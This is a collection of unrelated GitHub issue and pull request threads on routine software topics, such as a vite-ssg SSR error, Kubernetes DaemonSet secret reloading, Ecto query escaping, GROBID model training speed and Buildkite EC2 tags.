can not use with vite-ssg

Not sure which is causing the problem, come here for help, thank you.
[vite-ssg] An internal error occurred.
[vite-ssg] Please report an issue, if none already exists: https://github.com/antfu/vite-ssg/issues
/home/hyoban/dev/ssg-sakana/node_modules/.pnpm/sakana-widget@2.2.2/node_modules/sakana-widget/lib/index.js:10
})(self, () => {
   ^

ReferenceError: self is not defined
    at Object.<anonymous> (/home/hyoban/dev/ssg-sakana/node_modules/.pnpm/sakana-widget@2.2.2/node_modules/sakana-widget/lib/index.js:10:4)
    at Module._compile (node:internal/modules/cjs/loader:1105:14)
    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1159:10)
    at Module.load (node:internal/modules/cjs/loader:981:32)
    at Function.Module._load (node:internal/modules/cjs/loader:822:12)
    at ModuleWrap.<anonymous> (node:internal/modules/esm/translators:170:29)
    at ModuleJob.run (node:internal/modules/esm/module_job:198:25)
    at async Promise.all (index 0)
    at async ESMLoader.import (node:internal/modules/esm/loader:385:24)
    at async build (file:///home/hyoban/dev/ssg-sakana/node_modules/.pnpm/vite-ssg@0.20.2_thgl23324gg75myoeph36y4c5a/node_modules/vite-ssg/dist/chunks/build.mjs:171:87)
 ELIFECYCLE  Command failed with exit code 1.

minimal reproduction
https://github.com/hyoban/ssg-sakana
https://github.com/hyoban/ssg-sakana/commit/e99b063fb1630df60e064a9c6211c26ac12001a0

This is a client(browser) only library, SSR is not supported.
You need to use dynamic import(runtime):
onMounted(() => {
  import('sakana-widget').then((pkg) => {
    const SakanaWidget = pkg.default
    new SakanaWidget().mount('#sakana-widget')
  })
})

Thanks for your explanation, learned a lot


Add LesionCountWeightedByAssignment, RefLesionsCount, PredLesionsCount

@naga-karthik lmk once the PR is ready for review
Resolves #4

hey @valosekj it is now ready for review! (for some reason, I am unable to add you as a reviewer)

Thanks @naga-karthik! Tested and LGTM! I have just fixed a mission comma in https://github.com/ivadomed/MetricsReloaded/pull/6/commits/7f413e8a5881fe060f31cac9532b39e15811fc77. And clarified some comments in my other commits.

looks good ; merging!


[WIP] Restart DaemonSet upon Secret change: Approach 2

Do not merge. Unit Test required.
Requirement
Daemonset pods should restart whenever user modifies secrets.
Implementation Details
Secret data is read and a checksum from the data is generated.
This checksum string is added into daemonset annotations.
Controller watches change in secret.
Whenever controller reconciles, controller generates checksum from secret data and matches it with checksum in daemonset annotation.
If Checksum do not match, new secret checksum is updated in the daemonset.
This update also restarts the pods.

Comparing checksum is better then comparing the secret's resourceVersion, as resourceVersion is likely to change more often even when data is not modified(eg. when status changes). This can lead to unnecessary pod restarts. On the other hand, checksum will only change when secret data actually changes.

PR https://github.com/madhuthorat/ibm-spectrum-scale-csi/pull/12 fixes the same issue. Closing the PR.


Use Socket#setSoTimeout to timeout read requests of GPIO socket implementation

It seems unnecessary to need to implement logic to wait 500ms for a data packet when the Java Socket implementation provides setSoTimeout for a similar purpose.
Could the implementation be simplified if setSoTimeout were used rather than blocking with Thread.sleep in user code?

I totally agree, your PR #306 is pending

Your PR is merged


Counting Sort [C#]

This issue is about Counting Sort.

[x] Issue Title is in form Algo/DS Name [Language].
[x] I searched or browsed the repo’s other issues to ensure this is not a duplicate.
[x] This Algo/DS is worth adding to this repository.
[x] Assign this issue to me (I want to work on this).

[x] I ensure that I am not already assigned to 2 or more issues.

[x] I will send my PR only after I'm assigned to this issue by any maintainer.
[x] I understand that I will be unassigned from this issue if I fail to send a PR for this within a week.

GitMate.io thinks possibly duplicate or related issues are #378 (Counting Sort [JavaScript]), #341 (Counting sort [Go]), #164 (Counting Sort [C]), and #355 (Bin Sort [C]).


Any way to Backup "config files"  ?   Maybe by using an external path ?

Any way to backup the config files once all the emulators  are  configured into daijishou ?
Maybe using an external route inside the Android writable partition?
We are into research to develop full custom for several android consoles.......  but can not port config  from one to another.
Could you add an external path to load the config files?
Regards!!!!

Yes. You can export configured platform by clicking "Share" button in platforms page.

#118

That seems to per platform, is there no way to export all your config / database?


Adds docs on database setup

This is in reaction to #185 and adds information regarding database installation + configuration to the docs.
An example of installing and configuring needed databases using geerlingguy.mysql has been added to the getting started guide, too.
Fixes #185

This looks fab, thanks!  Instructions look good to me. 👍


rustypaste: 0.13.0 -> 0.14.0

Diff: https://github.com/orhun/rustypaste/compare/v0.13.0...v0.14.0
Changelog: https://github.com/orhun/rustypaste/blob/v0.14.0/CHANGELOG.md
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 253479 run on aarch64-darwin 1

1 package built:

rustypaste


Install docs missing an INSTALLED_APP

Thanks for your library!
I found an omission in the install guide:
INSTALLED_APPS should have 'chart_tools' added to it to otherwise the needed template tag is not loaded

Thanks! Apparently I forgot to push this change to github (README at pypi and bitbucket was correct).


Updated Service.js

You are looping through the "optionalCharacteristics", but trying to read at the index of the normal "characteristics". Therefore it will always return "undefined" when you request optional characteristics via "getCharateristics".

Thanks


VPN Configuration file for user

Description
A user should be able to download the configuration for all VPNs he/she has access to from gate profile page
Acceptance criteria

All VPNs authorized for a user should be added to the VPN configuration file
When access for a VPN has been revoked for a user, it should reflect in the conf file.

This is completed.


How to make an openjdk to an jre?

I downloaded your jdk11 x64 version here.
https://adoptopenjdk.net/releases.html?variant=openjdk11&jvmVariant=hotspot
Really thanks.
But I wanna know if there be some way to make it an jre, in order to reduce the size.
In short, what files can I safely delete without affecting the JVM's functions for users?

See #792


indent option

Added indent option. Fixes https://github.com/jcarpanelli/spinnies/issues/14

If you try to indent a multi-line text spinner everything breaks.
Try using the indent option on the spinner that would love to make some friends and see for yourself.
The problem is getLinesLength and breakText don't take the indent option into consideration.
Also multi-line strings should have all lines indented.

Hello, @rap2hpoutre! Sorry for the super late response! I just came back from vacations! I'll review this PR at the end of the weekend :slightly_smiling_face:.

I fixed the multiline problem thanks to @SweetMNM comment (in ac1a4b0)
@jcarpanelli You could now retry, it seems to work for me (even with multiline).

@jcarpanelli I added some tests in this commit: d515657. Let me know if it' OK for you

@jcarpanelli 👍 Thank you! When do you plan to release it?

Hey @rap2hpoutre! I've just published v0.5.0 :slightly_smiling_face:

Thank you!!


Anemia Prediction

Anemia is determined based on the hemoglobin levels, with a binary classification indicating whether an individual is anemic or not.
With RGB Color composition of the pixels of the image and corresponding HB levels , my model predicts the results .
Please assign me this task under GSSOC'24

@AmrutaJayanti assigned!


Camera is scanning qr not only in the center but also on the right left ...

How to avoid of scanning qr out of ScannerOverlay.My scanner is scanner everywhere not in the center.

My scanner is scanner everywhere not in the center.

Any update on this issue ? I also want this.

same for me is there any solu ?


Set an appropriate variable for threads in config.

Our configuration currently has threads=1. Given my experiences running the server on Heroku I think we should probably set this to auto. Below is a plot of Dyno Load (see definitions for metrics in plot here. load is defined as "The load value indicates a runnable task (a process or thread) that is either currently running on a CPU or is waiting for a CPU to run on, but otherwise has all the resources it needs to run. The load value does not include tasks that are waiting on IO.")

On the left, you can see traffic as a result of a small pilot (4 participants) on a Hobby core. On the right, you can see traffic as a result of a larger pilot (160 participants) on 5:Standard-2x, and later 9:Standard-1x cores. Since the 1M load max never exceeds 50% (and in many cases doesn't exceed 33%), I think it's worth increasing the number of threads somewhat substantially to make better use of compute resources. Since threads=auto sets workers to 2 * # CPUS + 1 (code here), this makes it a natural choice for the single and dual core case (which would result in 3 and 5 threads respectively).

closed by 1feab13a784

Looks like this probably isn't a sufficient fix; in some testing I found that small instances like Hobby / Standard-1x actually have 8 CPU cores, so the above auto code spins up 17 cores, per the logic in psiturk. This is only a problem because having 17 instances winds up using a fair amount of RAM, exceeding the ~500MB memory limits of those smaller instances.
The solution I wound up with involved subclassing the experiment server exported by psiturk to replace the use of multiprocessing.cpu_count() (which returns 8 on Hobby/1x) to os.environ['WEB_CONCURRENCY'], a heroku-provided env var that is set to 2 for Hobby/1x. Here's the link to my code: https://github.com/cgc/cocosci-optdisco/blob/22f0c4cf63e/bin/herokuapp.py#L24-L31

Thanks for the update. As a hotfix I've hardcoded 2 threads f9bc03d, which I think should run fine on any Heroku instance.


Fix overstripping

Now, prefixes and suffixes of note contents are over stripped;
e.g. https://github.com/myuon/ghc-compiler-notes/blame/release-20190326-172111/docs/notes/compiler/basicTypes/BasicTypes.hs.rst#L57
This patch fixes this.

This is for pinging webhook


Adding support for using POST method to upload large userdata

This pull request adds support for using POST method to upload user-data larger than 2K.

Thanks , that's useful as large user-data is getting popular with cloud-init.

thanks, I'll cut a new gem soon


ComposedModal does not support danger mode

Summary
Modal component has danger mode (danger prop). Is there a way to get the same UX using ComposedModal ?
Justification
We are using ComposedModal for delete confirmation.
Desired UX and success metrics
ComposedModal can be used in danger mode, with the same look and feel as Modal with danger=true
"Must have" functionality
See above
Specific timeline issues / requests
Preferably by Dec 15th.
Available extra resources
N/A

For my use case I made ComposedModal to look like Modal with danger=true by:

changing Button with kind="primary" into kind="danger--primary"
changing every Button with kind="secondary" into kind="tertiary"
adding styles to override .bx--modal-container { border-top-color: #e0182d }

These changes were simple enough that perhaps there is actually no need for explicit danger prop support in ComposedModal.. Please just close this issue, I won't complain.


IBM CPQ 4.0.0

This is IBM CPQ release for chart 4.0.0 and Product version <IP_ADDRESS>.
Please merge ASAP to complete our release.
Thanks

Sure!

May I have a description/declaration on what's been validated with this?

IBM CPQ is a software product , packaging FixPack 12 with this release.
This PR contains a new 4.0.0 tgz added representing FP12.
Also we have removed our oldest release 2.0.0.
After you approve this this would be available for our customers in Dev Catalog.
Ref to previous PR - https://github.com/redhat-developer/redhat-helm-charts/pull/26
Please expedite.
Thanks


feat!: enforce blank line before return statements

Closes: https://github.com/liferay/eslint-config-liferay/issues/141

See test results against liferay-portal here: https://github.com/liferay/eslint-config-liferay/pull/145#issuecomment-584101749

Given positive test results, going to merge this.


Fragment escape

Adds support for escape!/1 as a fragment expression.  This expression will:

Quote the query string using an adapter specific quote_name/1 function (this requires the companion pull request to echo_sql
Interpolate the result of the expression directly into the query string
Raise is the interpolated value includes the quoting character

This PR evolved from the conversation on Elixir Forum.

Thank you @kipcole9!
Feature-wise this looks good, but implementation wise I don't think we need to add quote_name. Instead, send the fragment as is to the adapter and add a new clause here for converting escape!:
https://github.com/elixir-ecto/ecto_sql/blob/520494878635949924a6ae585f7a4d0b84d6a221/lib/ecto/adapters/postgres/connection.ex#L676
This means the changes should be minimal:

You should not need to change the planner, as long as you change Builder.escape, escape! will find its way to the adapter query
For each adapter, you need a new expr clause matching on {:escape!, _, [arg]}

Please let me know if you have any questions!

José, thanks for the guidance. The reason I went with updating the planner is that the planner has better context of both the expressions and the parameters.
I have made an implementation following your recommendation which does indeed dramatically simplify the expression expansion. However .... I can't find a way to interpolate the parameters and remove the interpolated parameters from the parameter list.
This leads me to believe that the work has to be done after Ecto.Query.Builder but before prepare/2 (which is called in the planner).
✅ In Ecto.Query.Builder
  def escape({:escape!, _, [expr]}, type, params_acc, vars, env) do
    {escaped, params_acc} = escape(expr, type, params_acc, vars, env)
    {{:{}, [], [:escape!, [], [escaped]]}, params_acc}
  end

✅ In Ecto.Adapters.Postgres.Connection
Works fine, but is too late in the lifecycle of the query. There is no params context available.
    defp expr({:escape!, [], [arg]}, _sources, _query) when is_binary(arg) do
      quote_name(arg)
    end

    defp expr({:escape!, [], [{:^, [], [index]}]}, _sources, _query) do
      [:escape!, index]
    end

❌ How to resolve the params?
In  Ecto.Adapters.SQL we have
      def prepare(:all, query) do
        {:cache, {System.unique_integer([:positive]), IO.iodata_to_binary(@conn.all(query))}}
      end

Where all/1 doesn't have the parameters, and neither does prepare/2. And anyway, all/1 received a binary which is totally reasonable but too late for parameter interpolation..  This is what lead me to implement in the planner.
Doing this in execute/5 is also too late: the query cache key is incorrect, the query is a string so parameter interpolation would be string interpolation which isn't very safe.
Anything you can see that I am missing?

@kipcole9 the tricky is the builder. The builder knows that the argument to escape! will never be a parameter, so the Builder.escape function should enforce that its argument is either a literal string or a {:^, _, [ast]}, which won't become a parameter but rather an AST argument. We do something very similar for the field macro in Builder.escape.

Closing in favour of alternative implementation (which is not done yet and my head hurts a lot).

Pushed it as part of 6e7bc3f4d757b7c09ced10135e0c5c4ce1f4ea2f. Just the ecto_sql part missing!

Support for ecto_sql was also added. Please give master/main a try and if it all works I will ship a new version!


Determine if a site is saved in a user's library

I'm wondering if it's possible to tell if a user is a peer of a site.
Example: I wanted to create a p2p publication where viewers may only view content (or portions of content) if they are a long-term seeder.
I imagine this would involve being able to view the user's Library on a high level.
re: conversation with @pfrazee in IRC, it doesn't sound like this is currently possible, but may be possible soon with an experimental API.
Operation System: not applicable
Beaker version: not applicable

I'm wondering if we could include this information in the response from https://beakerbrowser.com/docs/apis/dat.html#getinfo. Something like isSaved.
We need to figure out whether we consider there to be a risk with including that information.

I'm wondering if we could include this information in the response from https://beakerbrowser.com/docs/apis/dat.html#getinfo. Something like isSaved.

I like this idea.

We need to figure out whether we consider there to be a risk with including that information.

Do you have any initial thoughts on the risk? Is it mostly that conceptually it is an invasion of privacy to expose what a user may/may not wish to save to their library?

Is it mostly that conceptually it is an invasion of privacy to expose what a user may/may not wish to save to their library?

Yeah I think so. And also the risk that it could be used to fingerprint the user. It might be okay if the site could only learn that info about itself, ie "have I been saved?"

Learning info only about itself sounds more reasonable/safer to me.

Looks like the ability to do this landed in experimental APIs:

https://beakerbrowser.com/docs/apis/experimental-library#list
https://beakerbrowser.com/docs/apis/experimental-library#get

I'd like to leave this issue opened for further discussion if possible.

Sure thing
On Wed, Aug 1, 2018 at 8:32 AM Nick Beattie<EMAIL_ADDRESS>wrote:

Looks like the ability to do this landed in experimental APIs:

https://beakerbrowser.com/docs/apis/experimental-library#list
https://beakerbrowser.com/docs/apis/experimental-library#get

I'd like to leave this issue opened for further discussion if possible.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/beakerbrowser/beaker/issues/1083#issuecomment-409616900,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABNhUzjyLZQwO1KA82aCgLnHp15yRTHlks5uMcoPgaJpZM4VVAlz
.


Select/dropdown - improve error handling

This PR contains minor tweaks to the Select component, to address the issues documented in #388 (based on work done for #389):

1c0c452: shows a visible error icon to the Select <Button> element when the isInvalid prop is passed
a56cd53: first pass at implementing validation and error handling using FieldError and ValidationResult. Creates an error message slot underneath the Select <Button>

Leaving this in draft for the moment, currently having trouble validating whether the errorMessage slot is behaving as expected — need to do some more digging on how to put the component into different error/validation failure states to confirm that this is working.

Folding some additional tweaks into this PR:

45d643e: implements the new focus state style, closes #394
541ad99: adds margin to select <button>, to adjust the spacing between the label and the selector

19c1b3b reverts/replaces 541ad99:

adds correct padding to label element and sets it to display:flex, instead of adding margin to the button
adds horizontal padding to the "(optional)" label <span>
changes errorMessage slot styling to use smallBody token


[bug] in version 3.0.4

If there are several lines of text and i want to copy/paste some other lines somewhere into it or edit a word/letter,
often the "cursor" is jumping to a another place or delet and replace a complety other word(s) in the Text.

I second this. Specifically, the underlying issue is with autocorrect (the word gets underlined for autocorrect, but autocorrect cannot be dismissed)
I'm using the Android AOSP Keyboard, if that matters.

Assume I were to enter "The quick brown fox"
If I typo "fox" as "foz", autocorrect fixes it. But it doesn't dismiss "autocorrect selection" and the word "fox" remains underlined, which causes any subsequently-entered word to replace "fox". Tapping an empty space doesn't dismiss autocorrect either. Tapping another previously-entered word (say, "quick") causes subsequent inputs to replace the previously-entered word.
It's an unholy mess.

3.0.4 is unusable for me too, but my issue is a bit different: I just write a short sentence of say 5 or 6 words, then when I delete the last one, the space separating the previous 2 words is deleted and the words are merged. If I also delete that one, the previous words are merged too, and so on...

Same as @eleius

I like this app a lot, but this makes it basically unusable. I'd be willing to sponsor a couple hours worth of work to fix this sooner than later.

For now I moved to https://github.com/maltaisn/another-notes-app where I can type

Note that changing the Android keyboard affects this issue.
I was having the same problems as reported by @eleius with the default AOSP keyboard but when I changed to using Florisboard, which is a much better keyboard anyway, those issues went away so I can now type normally.
There's still an issue there, like described by @aharakadabra, but overall it's much more usable than with the default AOSP keyboard.


Error building

When attempting to compile the build, I keep getting the error:
FAILED: gen/chrome/browser/resources/about_sys/preprocessed/app.html.ts gen/chrome/browser/resources/about_sys/preprocessed/app.html.ts
python3 ../../tools/polymer/html_to_wrapper.py --in_folder gen/chrome/browser/resources/about_sys/preprocessed --out_folder gen/chrome/browser/resources/about_sys/preprocessed --in_files app.html log_entry.html --minify
Traceback
...
subprocess.CalledProcessError: Command '['which', 'node']' returned non-zero exit status 1
[533/57706] ACTION //chrome/browser/metrics:expired_histograms_array(//build/toolchain/mac:clang_x64)

What could be causing this issue?

It cannot find node.

Thank you! I thought I had it installed but it was an older version that never upgraded due to a permission issue.
However, I'm now running into this error
No such file or directory: '/ungoogled-chromium-macos/patches/series'
Is this something to do with refreshing the patches because I can't get that to work either.
I'm new to all this so I apologize for the newbie questions

No such file or directory: '/ungoogled-chromium-macos/patches/series'

Check where you've unpacked everything it cannot find this folder.

Thank you again. I started from the beginning and the build compiled.
If I may ask another question: What is the purpose of refreshing the patches? Is that something I will have to do to maintain my build?

What is the purpose of refreshing the patches?

It is used to update every offset in patch file to ensure it applies cleanly without fuzz

Is that something I will have to do to maintain my build?

No

Thanks for all your help.


Support deferred Mailer delivery with deliver_later

Re-opens #4224
By default, all Devise::Models::Authenticatable-initiated Action Mailer deliveries are transmitted immediately (within the request-response cycle).
Transmitting emails and interacting with any third-party services over SMTP or HTTP risk service outages and other types of network-related failures.
This commit adds support for deferring delivery to be done from an Action Job background worker queue through the deliver_later method.
 # config/initializers/devise.rb
Devise.mailer_delivery_method = :deliver_later

@seanpdoyle Do you think we would be able to get this PR merged? Asking this as I am not seeing any activity on this PR.

@carlosantoniodasilva could you approve the CI workflow for this PR?

@seanpdoyle Approved it, but there are some test failures in main that I've been looking into, due to some recent merges.
No need to worry about those, I hope to get everything green again soon. (I'm off traveling though, so it might take another couple weeks to circle back on it)
As for the change, I've been wanting to make "later" the default for a while, the current way things work aren't great. I'm not sure about that being an option, haven't given it much thought honestly, but could be a way to migrate over to a new default behavior more easily. Thanks for the PR!

I was also looking for this exact option. The implementation looks pretty straight-forward. Can we get this merged?


header model training slow

Hi Patrice,
This is what I raised on Mattermost but I thought it's good to have an issue to have the information together.
Since GROBID 0.5.4 it should use all of the available threads and we have done some tests with VMs having multiple CPUs. The logging confirmed that it was using the the expected number of threads.
With 64 CPUs it was only using between 20-30 CPUs. So we ran it again with 32 CPUs. It was using almost all of the CPUs but the overall run-time wasn't as fast as expected. On a single CPU it takes about 24h to train the header model. With 32 available CPUs, it was down to around 16h.
You could replicate it by building GROBID etc. or using the Docker container:
docker run --rm -it \
    elifesciences/sciencebeam-trainer-grobid_unstable:0.5.4 \
    train-header-model.sh \
        --use-default-dataset

Or if you were using Kubernetes:
kubectl run --rm --attach --restart=Never --generator=run-pod/v1 \
    --image=elifesciences/sciencebeam-trainer-grobid_unstable:0.5.4 \
    train-header-model -- \
    train-header-model.sh \
        --use-default-dataset

There is a slight overhead with --use-default-dataset because it copies the default database. But it doesn't take that long. (The main use-case is to user a custom dataset - alone or together with the default dataset)

Hi Daniel,
Sorry the late feedback. I did some tests this week with GROBID 0.5.5 (no change regarding training and header model as compared to 0.5.4), and I have a similar time for training the model with 24CPU (15 hours 52 mn, 26s per epoch). See numbers bellow, runtimes depend on the machine, but are consistent. As you can see, I have much longer training time for 1 CPU. I am surprised that you could get 24 hours only with 1 CPU. I tested the one-CPU on different servers, always a couple of times more than 24 hours.

* server	traces4, 24 CPU, 64GB

number CPU	1	2	4	8	12	16	24
second/epoch	153	86	55	37	32	28.5	26
total minute 	-	-	-	1329	1229	-	952

* desktop	work, 8 CPU, 16GB

number CPU	1	2	4	8
second/epoch	107	58	38	32

* server	traces5, 16 CPU, 16GB

number CPU	4	16
second/epoch	54	33
total minutes	-	1333

Following my tests, training time reduces relatively well when adding more CPU, from 64 hours to the 16 hours plateau for instance with the same server.

So I think, overall, it behaves okay, although for smaller models, increasing the number of CPU has a much better runtime impact from what I have observed. I guess the computing parts that are not parallelized grow with the number of features and larger models benefit less from adding more CPU.
I've observed that the available RAM has an impact, as well as the machine (my desktop has very good CPU! but I am broke now).
So, can we improve training time for this model?
This model is very big (81M features) and there are certainly some possibilities to prune significantly the number of features for a similar results (reduce the vocabulary, simplify a bit the feature template, remove useless annotated examples).
Another obvious approach is to work on the stopping criteria. I fixed them  arbitrarily high (2000 epochs) not to care about them, but we could optimize them according to the training data (simply 1000 epoch might not have an impact on performance an ymore, but this is to be evaluated).
We could also explore some optimizations in Wapiti. e.g. for high number of CPU (because going beyond 20-25 CPU has no impact any more).

As a complementary information, I also experimented with a BidLSTM-CRF architecture using Gloves embeddings for the header model. One issue here is that the input sequence to be labelled is super large, because it's the whole header (more than 1000 tokens is usual but it could go up to 3000 tokens), so the batch size for training has to be decreased a lot and we need a plenty of GPU memory to avoid some labels not occurring at all in a training batch.
Training is considerably faster. Training time is less than 2 hours with a nvidia GTX 1080 if I remember well, but accuracy is also very low for the moment, we have a loss of more than 10 points for f-score in average for the fields as compared to CRF+layout features. BERT fine-tuning (using SciBERT in our case) would be even significantly faster than that, a few minutes (!).
NN models are also smaller: 1.6MB with DeLFT BidLSTM-CRF versus 35MB for CRF, though DeLFT is particularly good for model size - however BERT fine-tuned models are ridiculously big, 1.3GB.
Overall I think using DL models is the way to go for long term to reduce dramatically training time, but there are still design and technical issues to address, in particualr how to apply this kind of approach to document-level input (so header/fulltext models) and how to incorporate layout information efficiently (just concatenating those features does not appear to work from my first experiments, I've not tested  multi-channel architectures yet).

Thank you for looking into it Patrice.
It is interesting you are seeing much higher training time with a single CPU. I could test it again. According to your chart it's 26 hours with 24 CPUs or am I reading that wrong? Something seem to be different.
In between epochs there seem to be a short period where it uses only one CPU. That probably explains why it plateaus. Maybe that could be improved. But maybe the effort is better spent on the DL model.
Maybe you could talk me through or point me to the documentation to experiment with a DL myself?
(Although from our last conversation you suggested that we need the header mode to use the Clusteror to have a chance of showing better performance)

In the chart, the Y-axis gives the average training time in second per epoch - all the training take 2000 epochs. With 24CPU, one epoch is around 26s and the total takes around 16 hours (there are some extra time for parsing the TEI, loading the data, init,...).
I agree about the explanation for the plateau, it would be indeed the place to look in Wapiti!
About the DL stuff, the documentation is a bit short -> https://grobid.readthedocs.io/en/latest/Deep-Learning-models/
Luca started to extend the mechanism to macOS and when DeFLT is installed using a virtual env. (branch jep_macOs). However if the training runtime is very good, results are much lower than Wapiti currently:
https://github.com/kermitt2/grobid/blob/master/grobid-trainer/doc/PMC_sample_1943.results.grobid-0.5.4-DeLFT-29.12.2018

Hi,
Could you take a look at your CPU usage (using top, then press 1 to see each core activity) ? I have a model and data not so big as it takes around 5h to complete. On my 16 cores, only 3 are used. Do you experience the same thing ? As I understand the training is done by wapiti so it's probably a wapiti optimization but I just want to make sure that I'm not the only one. Also, maybe to use more core the model have to be more complex or with more data ?

Hi @jribault ! The efficiency of the usage of core depends on the number of examples too. For instance when training header or body sections, if there are not enough examples to create minimal partitions of data to be distributed, a lower number of cores than the one indicated will be used by wapiti.
In the above numbers, I took care to be sure that all the core were actually used - the actual number of examples is large (more than 2000). For instance when training the fulltext model, I am not able to use many cores when training because there a too few examples.

👍


App: Making Updates Doesn't Refresh Queue

I'm not sure why, if the diffing is off or if it's something else because I haven't dug into it. But making a bunch of updates, it consistently didn't refresh my count or queue.

Fixed - we were observing an old notification which is no longer used.


copyright protected under
License Apache 2.0 version 2004

https://github.com/kubernetes/kubernetes/blob/master/LICENSE

Is this a bug _ Unsubcribe with access the open source ssl token


Chemistry system

This issue is discussion/rambling about "How the chemistry system will be implemented?". I do not mean that this must be implemented at this stage.
Will this project implement the chemistry system design "as is", like it's done in the SS13, or will there be some kind of changes?
Unless the chemistry system is completely redone (or, in unlikely case, completely shot down), this might and will block the implementation of most of medical interactions, Also the bar, because mixing of drinks is actually done with chemical reactions in the SS13 (Which make this issue related to the #237 ).

Well the bar doesn't have to have the mixing option at the moment I think.

I think the effect of bar drinks are basically effects of chemicals? If
yes, then it would be better to have basic chemistry (some materials and
reactions, plus abstract chemical containers) before the bar.
On Wed, Jul 6, 2016, 23:21 shelltitan<EMAIL_ADDRESS>wrote:

Well the bar doesn't have to have the mixing option at the moment I think.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/griefly/griefly/issues/278#issuecomment-230825506,
or mute the thread
https://github.com/notifications/unsubscribe/AEFMuCBQerWZ5V3rl_o1BVA2KYyJdXs4ks5qS9YfgaJpZM4JGH7_
.

Well if you want to give them some side effects then I think you should start with implantation of health system(a more complex one) than implement chemical reaction system(a basic one) and then these.

The bar in 0.4 is supposed to be a dummy bar. Some chairs, some tables. There probably won't be any containers like cups, just beer bottles or tea cups. Same with medicine - it is possible to improve current one a little bit, add some medical kits without chemistry.
The future of chemistry is unclear for me now. Obviously it will have something similar with SS13 system, but it depends from the atmos (and some other things). There might be a chance that it is possible to unite atmos system with chemisty in some way - but it is needed to look if an average computing power of today pc will allow it. It is still early to implement chemistry even in basics forms.
We can have bar without chemistry, but we cannot have bar without tables (and we don't have them).

But chairs already exists and adding table without climbing feature isn't so hard I think?

It is not so hard, but it is still need to be done. The most complicated feature here it is updating tables sprites on creation. It is not hard, but it is not trivial.

I don't get what you mean exactly. Do you mean rotating in right direction?

-> #238

Ah yes atmos. I actually thought, maybe atmos and chemistry should be tied
together, with some kind of materials registry/system. Then any addition of
new gases would be adding a new material, that will also be used in
chemistry. Also, how much of performance hit it would be of instead of
static array of gases, a dynamic vector was used? I mean, for now all the
gases are hardcore into the atmos, including the amount of them... Sounds a
bit too static, but i haven't tried to make it dynamic on my copy, so I
can't really say anything on that matter.
Also, the medical effects of chemicals on people is not necessary, but
yeah, bar, if implemented completely, would need that too.
On Thu, Jul 7, 2016, 02:11 Alexander<EMAIL_ADDRESS>wrote:

-> #238 https://github.com/griefly/griefly/issues/238
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/griefly/griefly/issues/278#issuecomment-230874292,
or mute the thread
https://github.com/notifications/unsubscribe/AEFMuMJ_ZgKTVkNHVz8myJCmdvEODSJFks5qS_3agaJpZM4JGH7_
.

I don't know. Current atmos implementation can't even work on 250x250 map - too laggy. So it can be said only after some atmos changes will be made.


chore: bump napi and napi-derive

#903  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @Brooooooklyn and the rest of your teammates on  Graphite


Improve "Volumes" section of README.md

See https://github.com/Senzing/template-docker/issues/37
Note: This is not a simple copy/paste.   Needs to be tailored.

Pull Requests:

https://github.com/Senzing/docker-db2-driver-installer/pull/17


collect instance-life-cycle as a default tag on EC2 instances

When the agent is started with the --tags-from-ec2-meta-data flag it collects a default set of agent tags by querying the instance metadata service.
This adds a new tag to the default set - aws:instance-life-cycle. The tag value will be either "on-demand" or "spot", which can be useful to debugging."on-demand" or "spot", which can be useful to debugging.
The instance-life-cycle metadata key was added in IMDSv2. I'm not 100% sure what will happen if the agent runs on an instance with only IMDSv1. I added the new code at the end of the method, so I suspect the new tag will just be missing on those agents.
Here's the output starting an agent built with this branch:
$ ./buildkite-agent start --build-path=~/foo --token=xxx --tags-from-ec2-meta-data=true

   _           _ _     _ _    _ _                                _
  | |         (_) |   | | |  (_) |                              | |
  | |__  _   _ _| | __| | | ___| |_ ___    __ _  __ _  ___ _ __ | |_
  | '_ \| | | | | |/ _` | |/ / | __/ _ \  / _` |/ _` |/ _ \ '_ \| __|
  | |_) | |_| | | | (_| |   <| | ||  __/ | (_| | (_| |  __/ | | | |_
  |_.__/ \__,_|_|_|\__,_|_|\_\_|\__\___|  \__,_|\__, |\___|_| |_|\__|
                                                 __/ |
 https://buildkite.com/agent                    |___/

2021-02-03 11:57:51 NOTICE Starting buildkite-agent v3.27.0 with PID: 2175
2021-02-03 11:57:51 NOTICE The agent source code can be found here: https://github.com/buildkite/agent/v3
2021-02-03 11:57:51 NOTICE For questions and support, email us at<EMAIL_ADDRESS>2021-02-03 11:57:51 INFO   Fetching EC2 meta-data...
2021-02-03 11:57:51 INFO   Successfully fetched EC2 meta-data
2021-02-03 11:57:51 INFO   Registering agent with Buildkite...
2021-02-03 11:57:52 INFO   Successfully registered agent "ip-172-31-87-129" with tags [aws:instance-type=t3.medium, aws:ami-id=ami-0885b1f6bd170450c, aws:instance-life-cycle=on-demand, aws:instance-id=i-0d55d5962c54f30b3]
2021-02-03 11:57:52 INFO   Starting 1 Agent(s)
2021-02-03 11:57:52 INFO   You can press Ctrl-C to stop the agents
2021-02-03 11:57:52 INFO   ip-172-31-87-129 Connecting to Buildkite...
2021-02-03 11:57:52 INFO   ip-172-31-87-129 Waiting for work...

Thanks to @vgrigoruk for pointing out this was an option in https://github.com/buildkite/elastic-ci-stack-for-aws/pull/710#issuecomment-772390196

Hmm, there's a test failing on windows:

=== Failed
--
  | === FAIL: agent TestPipelineParserSupportsYamlMergesAndAnchors (0.00s)
  | pipeline_parser_test.go:61:
  | Error Trace:	pipeline_parser_test.go:61
